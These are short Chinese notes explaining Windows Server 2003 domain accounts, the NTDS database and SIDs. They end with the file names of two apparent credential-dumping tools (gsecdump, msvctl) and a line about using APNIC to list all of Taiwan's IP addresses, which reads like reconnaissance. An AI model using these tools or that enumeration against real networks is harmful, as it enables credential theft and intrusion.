域用户账户是用户访问域的唯一凭证,因此在域中必须是唯一的。域用户账户保存在AD(活动目录)数据库中,该数据库位于在DC(域控制器)上的\%systemroot%\NTDS文件夹下。为了保证账户在域中的唯一性,每一个账户都被Windows Server 2003签订一个唯一的SID(Security Identifier,安全识别符)。SID将成为一个账户的属性,不随账户的修改、更名而改动,并且一旦账户被删除,则SID也将不复存在,即便重新创建一个一模一样的账户,其SID也不会和原有的SID一样,对于Windows Server 2003而言,这就是两个不同的账户。在Windows Server 2003中系统实际上是利用SID来对应用户权限的,因此只要SID不同,新建的账户就不会继承原有的账户的权限与组的隶属关系。与域用户账户一样,本地用户账户也有一个唯一的SID来标志账户,并记录账户的权限和组的隶属关系。这一点需要特别注意。
当一台服务器一旦安装AD成为域控制器后,其本地组和本地账户是被禁用的

gsecdump-0.7-win32.zip
msvctl_0.3.zip



用APNIC找出台灣所有的IP位址